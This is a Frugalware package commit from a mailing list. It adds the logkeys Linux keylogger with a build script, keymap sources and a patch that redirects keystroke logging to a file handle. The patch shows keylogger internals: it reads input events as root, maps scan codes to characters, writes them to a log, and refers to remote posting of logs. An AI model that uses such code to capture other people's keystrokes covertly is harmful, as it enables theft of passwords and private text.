Git-Url: 
http://git.frugalware.org/gitweb/gitweb.cgi?p=frugalware-current.git;a=commitdiff;h=7011fe0621b233db72ce7b342a0c969d45cd3328

commit 7011fe0621b233db72ce7b342a0c969d45cd3328
Author: kikadf <[email protected]>
Date:   Tue May 28 18:08:59 2013 +0200

logkeys-0.1.1a-1-x86_64

* New package

diff --git a/source/apps-extra/logkeys/FrugalBuild 
b/source/apps-extra/logkeys/FrugalBuild
new file mode 100644
index 0000000..805bc89
--- /dev/null
+++ b/source/apps-extra/logkeys/FrugalBuild
@@ -0,0 +1,61 @@
+# Compiling Time: 0.15 SBU
+# Maintainer: kikadf <[email protected]>
+
+pkgname=logkeys
+pkgver=0.1.1a
+pkgrel=1
+pkgdesc="Logkeys is a linux keylogger."
+depends=('kbd')
+Finclude googlecode
+groups=('apps-extra')
+archs=('i686' 'x86_64')
+source=($source \
+        http://wiki.logkeys.googlecode.com/git/keymaps/en_GB.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/fr_CH.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/fr.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/fr-dvorak-bepo.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/de.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/hu.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/it.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/no.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/pt_BR.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/pt_PT.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/ro.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/ru.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/sk_QWERTY.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/sk_QWERTZ.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/sl.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/es_AR.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/es_ES.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/sv.map \
+        http://wiki.logkeys.googlecode.com/git/keymaps/tr.map \
+        logkeys-stdout.patch)
+sha1sums=('aa5b9b2054dce41f3ef6a5ae95b13a5b0797575e' \
+          '4a3c1cc4ead4f883ddfd9375282c51425569cff4' \
+          '6a98c4c80a18a5355b30b4dd2bea0aad32ee183a' \
+          '6c6886523cc404faffcde8cd4df80e52f556c056' \
+          'e53859d83e3ce4b4af206ca8242b68310948bf4a' \
+          '39a122c0cc7775866b74d6d977af566c1df57eb9' \
+          'ec1956a5f5508df133a4f131b436aa9798800856' \
+          'd1e23f5f9b31b9b08749d1ee152cccbd11bf08a9' \
+          '4aa375de898d502234d0866e1483118631f7b16f' \
+          '567a3f13549b8982d993d693cc77457d5425e1c3' \
+          '7d7dbf38bbbaa47c66330b1a9218b77de545ca3e' \
+          'e0ad387ad7a728b61ef2eb4062d805bc0c9b5af2' \
+          '40e0b425b51892dcd4725e0d80c46b76f4626a0d' \
+          '27f6e78a50c072a99b996409325aca5edafe38c3' \
+          'fe3967f6285d2df770bf1d324e428675e395ffd5' \
+          '3b1f60f51787734bc98b460996dcae54de6094d3' \
+          '9682787e6c34275f3f1a8311235b52fd19e12954' \
+          '3c46f8d2ee1b9302a7408da2c6544ee384ec8b92' \
+          'b8630f38835ee55d0024c15a3bce57314f44f1c5' \
+          '609acab45cc07fa9ac14243a3482e3e3aa1c7f44' \
+          '5762cf1b97bba6945eb35a18d8848b4a173abba6')
+
+
+build()
+{
+       Fbuild
+       Ffile *.map /usr/share/$pkgname/keymaps/
+}
+
diff --git a/source/apps-extra/logkeys/logkeys-stdout.patch 
b/source/apps-extra/logkeys/logkeys-stdout.patch
new file mode 100644
index 0000000..3f0bb79
--- /dev/null
+++ b/source/apps-extra/logkeys/logkeys-stdout.patch
@@ -0,0 +1,148 @@
+diff -urN logkeys-0.1.1a.org/src/logkeys.cc logkeys-0.1.1a/src/logkeys.cc
+--- logkeys-0.1.1a.org/src/logkeys.cc  2010-05-31 07:04:57.000000000 +0200
++++ logkeys-0.1.1a/src/logkeys.cc      2012-01-04 13:18:49.000000000 +0100
+@@ -237,8 +237,7 @@
+   memset(shift_keys, '\0', sizeof(shift_keys));
+   memset(altgr_keys, '\0', sizeof(altgr_keys));
+
+-  stdin = freopen(args.keymap, "r", stdin);
+-  if (stdin == NULL)
++  if (freopen(args.keymap, "r", stdin) == NULL)
+     error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", 
args.keymap);
+
+   unsigned int i = -1;
+@@ -354,7 +353,9 @@
+
+
+ int main(int argc, char **argv)
+-{
++{
++  FILE *ofp;
++
+   on_exit(exit_cleanup, NULL);
+
+   if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?");
+@@ -424,10 +425,10 @@
+     setegid(getgid());
+   }
+
+-  // open log file as stdout (if file doesn't exist, create it with safe 0600 
permissions)
++  // open log file (if file doesn't exist, create it with safe 0600 
permissions)
+   umask(0177);
+-  stdout = freopen(args.logfile, "a", stdout);
+-  if (stdout == NULL)
++  ofp = fopen(args.logfile, "a");
++  if (ofp == NULL)
+     error(EXIT_FAILURE, errno, "Error opening output file '%s'", 
args.logfile);
+
+   // now we need those privileges back in order to create system-wide PID_FILE
+@@ -457,10 +458,10 @@
+   strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
+
+   if (args.flags & FLAG_NO_TIMESTAMPS)
+-    file_size += fprintf(stdout, "Logging started at %s\n\n", timestamp);
++    file_size += fprintf(ofp, "Logging started at %s\n\n", timestamp);
+   else
+-    file_size += fprintf(stdout, "Logging started ...\n\n%s", timestamp);
+-  fflush(stdout);
++    file_size += fprintf(ofp, "Logging started ...\n\n%s", timestamp);
++  fflush(ofp);
+
+   // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM 
(of which handler closes input_fd)
+   while (read(input_fd, &event, sizeof(struct input_event)) > 0) {
+@@ -476,14 +477,14 @@
+     scan_code = event.code;
+
+     if (scan_code >= sizeof(char_or_func)) {  // keycode out of range, log 
error
+-      inc_size += fprintf(stdout, "<E-%x>", scan_code);
++      inc_size += fprintf(ofp, "<E-%x>", scan_code);
+       if (inc_size > 0) file_size += inc_size;
+       continue;
+     }
+
+     // if remote posting is enabled and size treshold is reached
+     if (args.post_size != 0 && file_size >= args.post_size && 
stat(UPLOADER_PID_FILE, &st) == -1) {
+-      fclose(stdout);
++      fclose(ofp);
+
+       std::stringstream ss;
+       for (int i = 1;; ++i) {
+@@ -496,8 +497,8 @@
+       if (rename(args.logfile, ss.str().c_str()) == -1)  // move current log 
file to indexed
+         error(EXIT_FAILURE, errno, "Error renaming logfile");
+
+-      stdout = fopen(args.logfile, "a");  // open empty log file with the 
same name
+-      if (stdout == NULL)
++      ofp = fopen(args.logfile, "a");  // open empty log file with the same 
name
++      if (ofp == NULL)
+         error(EXIT_FAILURE, errno, "Error opening output file '%s'", 
args.logfile);
+
+       file_size = 0;  // new log file is now empty
+@@ -521,7 +522,7 @@
+           prev_code == KEY_LEFTSHIFT  || prev_code == KEY_RIGHTCTRL);  // if 
repeated key is modifier, do nothing
+       else {
+         if ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(prev_code));  // 
if repeated was function key, and if we don't log function keys, then don't log 
repeat either
+-        else inc_size += fprintf(stdout, "<#+%d>", count_repeats);
++        else inc_size += fprintf(ofp, "<#+%d>", count_repeats);
+       }
+       count_repeats = 0;  // reset count for future use
+     }
+@@ -533,12 +534,12 @@
+       if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER ||
+           (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) {
+         if (ctrl_in_effect)
+-          inc_size += fprintf(stdout, "%lc", 
char_keys[to_char_keys_index(scan_code)]);  // log C or D
++          inc_size += fprintf(ofp, "%lc", 
char_keys[to_char_keys_index(scan_code)]);  // log C or D
+         if (args.flags & FLAG_NO_TIMESTAMPS)
+-          inc_size += fprintf(stdout, "\n");
++          inc_size += fprintf(ofp, "\n");
+         else {
+           strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, 
localtime(&event.time.tv_sec));
+-          inc_size += fprintf(stdout, "%s", timestamp);  // then newline and 
timestamp
++          inc_size += fprintf(ofp, "%s", timestamp);  // then newline and 
timestamp
+         }
+         if (inc_size > 0) file_size += inc_size;
+         continue;  // but don't log "<Enter>"
+@@ -571,17 +572,17 @@
+         else  // neither altgr nor shift are effective, this is a normal char
+           wch = char_keys[to_char_keys_index(scan_code)];
+
+-        if (wch != L'\0') inc_size += fprintf(stdout, "%lc", wch);  // write 
character to log file
++        if (wch != L'\0') inc_size += fprintf(ofp, "%lc", wch);  // write 
character to log file
+       }
+       else if (is_func_key(scan_code)) {
+         if (!(args.flags & FLAG_NO_FUNC_KEYS)) {  // only log function keys 
if --no-func-keys not requested
+-          inc_size += fprintf(stdout, "%ls", 
func_keys[to_func_keys_index(scan_code)]);
++          inc_size += fprintf(ofp, "%ls", 
func_keys[to_func_keys_index(scan_code)]);
+         }
+         else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
+-          inc_size += fprintf(stdout, " ");  // but always log a single space 
for Space and Tab keys
++          inc_size += fprintf(ofp, " ");  // but always log a single space 
for Space and Tab keys
+         }
+       }
+-      else inc_size += fprintf(stdout, "<E-%x>", scan_code);  // keycode is 
neither of character nor function, log error
++      else inc_size += fprintf(ofp, "<E-%x>", scan_code);  // keycode is 
neither of character nor function, log error
+     } // if (EV_MAKE)
+
+     // on key release
+@@ -595,7 +596,7 @@
+     }
+
+     prev_code = scan_code;
+-    fflush(stdout);
++    fflush(ofp);
+     if (inc_size > 0) file_size += inc_size;
+
+   } // while (read(input_fd))
+@@ -603,9 +604,9 @@
+   // append final timestamp, close files and exit
+   time(&cur_time);
+   strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time));
+-  fprintf(stdout, "\n\nLogging stopped at %s\n\n", timestamp);
++  fprintf(ofp, "\n\nLogging stopped at %s\n\n", timestamp);
+
+-  fclose(stdout);
++  fclose(ofp);
+
+   remove(PID_FILE);
+
_______________________________________________
Frugalware-git mailing list
[email protected]
http://frugalware.org/mailman/listinfo/frugalware-git

Reply via email to